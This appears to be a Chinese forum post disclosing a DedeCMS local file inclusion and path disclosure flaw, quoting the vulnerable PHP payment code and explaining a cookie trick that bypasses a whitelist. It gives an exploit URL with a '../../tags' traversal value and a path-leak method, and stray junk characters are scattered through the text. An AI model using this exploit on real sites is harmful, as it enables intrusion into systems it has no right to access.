dedecms本地文件包含及物理路径泄露0day

admin

晚餐吃撑了，瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多，赶紧下了套，用editplus搜索了几个关键字，果然发现些问题。(话说平时写代码也喜欢用editplus，小巧方便多年习惯)

. y+ a5 x/ ]) B* ?' W出现漏洞的两个文件为：
1 c" a0 s$ z; L/ sInclude/payment/alipay.php
/ R/ f) Q9 V9 w/ VInclude/payment/yeepay.php
漏洞均出现在respond方法里，估计这两个文件是临时工写的。

Include/payment/alipay.php
4 N, q7 Y) n3 a) z; M
......
5 A3 T" A! D8 ]' q$ u. y   function respond()
    {
        if (!empty($_POST))
        {
: v- ^: b. G1 p+ _6 ^            foreach($_POST as $key => $data)
; m, K: E/ g0 ~8 k7 q+ U0 P            {
# W/ E7 }/ V4 }# q; [                $_GET[$key] = $data;
            }
        }
* V2 J/ ~& A2 g9 u; F$ V1 P        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
. S8 \1 h9 n/ e- R6 z9 _......


  L' x, G$ H* |/ N: O0 t大概在133行左右，$_GET[‘code’]没有经过任何判断和过滤。
  }+ G! G7 Z) Q7 u+ E( H! Q$ r
Include/payment/yeepay.php
& |! u( ?* ?1 x7 I* [


( o4 g; c: z, k' O  O......
, ^* m( V. E5 M6 ]: d5 q  ]- A    function respond()
    {

1 k% ^. H3 Z) s        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
" d& W& D& @5 V) p7 `. a% m& r6 h
* K6 E) C) J3 g! O; p        $p1_MerId = trim($payment['yp_account']);
        $merchantKey = trim($payment['yp_key']);
......

' S: V; {2 Y2 r# t1 d  ^( q1 s  g
  x' X0 ^8 a7 ~: g8 r2 ?
8 \# p' e) b7 A3 o3 o
) W8 D; R2 g/ ~0 L' Y大概在145行左右，$_REQUEST['code']没有经过任何判断和过滤。
, ]& T4 g6 m7 E# s' R
& y& }$ S6 a3 T+ s2 o* D0 d+ H这两个方法在plus/carbuyaction.php文件调用。
3 H+ \! \! w' }/ p
plus/carbuyaction.php
0 v' a4 S9 f1 n1 n6 @
4 d/ D6 p* G! v# K" L......
8 ~6 `. k5 {2 p' O6 H) [} else if ($dopost == 'return') {
. o5 ^( T- p( n4 s% E! z    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
7 v; g) h' @# \    if (in_array($code, $write_list))
    {
5 K) w1 O) c# w) `, t# U3 l        require_once DEDEINC.'/payment/'.$code.'.php';
        $pay = new $code;
0 F" a& J% J9 }" f9 D        $msg=$pay->respond();
        ShowMsg($msg, "javascript:;", 0, 3000);
        exit();  
    } else {
  T( O# x# }% }% V+ F  Y% s: f9 ]        exit('Error:File Type Can\'t Recognized!');
    }
' Y) h4 q  O: C- o* U8 @}
......

; d: w4 ]! n. M& G
: d5 |) J$ F( m" \
: @; E0 T" H1 G  q4 `2 f! U" G* m

0 P! |, d( J& q8 v
大概在334行，当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
所以$_GET['code']或$_REQUEST['code']会变成$code，而$code是经过判断的，值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。

回到include/common.inc.php来看看他的机制。

+ t9 z+ R0 x2 Q; R/ G: j

3 K6 L5 W$ H8 c......
8 a8 j; `7 t; T& \7 F! M  yforeach(Array('_GET','_POST','_COOKIE') as $_request)
{
' a% _  u9 W) h  E$ j/ y        foreach($$_request as $_k => $_v)
        {
# u9 O2 V  L" c: E                if($_k == 'nvarname') ${$_k} = $_v;
8 I* P' ?: G+ w                else ${$_k} = _RunMagicQuotes($_v);
- M) l; H$ \' J, D. W" R        }
* O2 p- H  O. h3 V- e/ X4 m* Y}
$ [5 z7 j* s9 {5 h......
5 X% f( v5 C) k) i) l+ b! L大概在79行，可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿，细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准，而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断，使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
由于bank和cod这两个文件并没有respond方法，所以如果code等于bank或者cod时将会暴错泄露路径。注：请勿非法测试，产生后果与本人无关。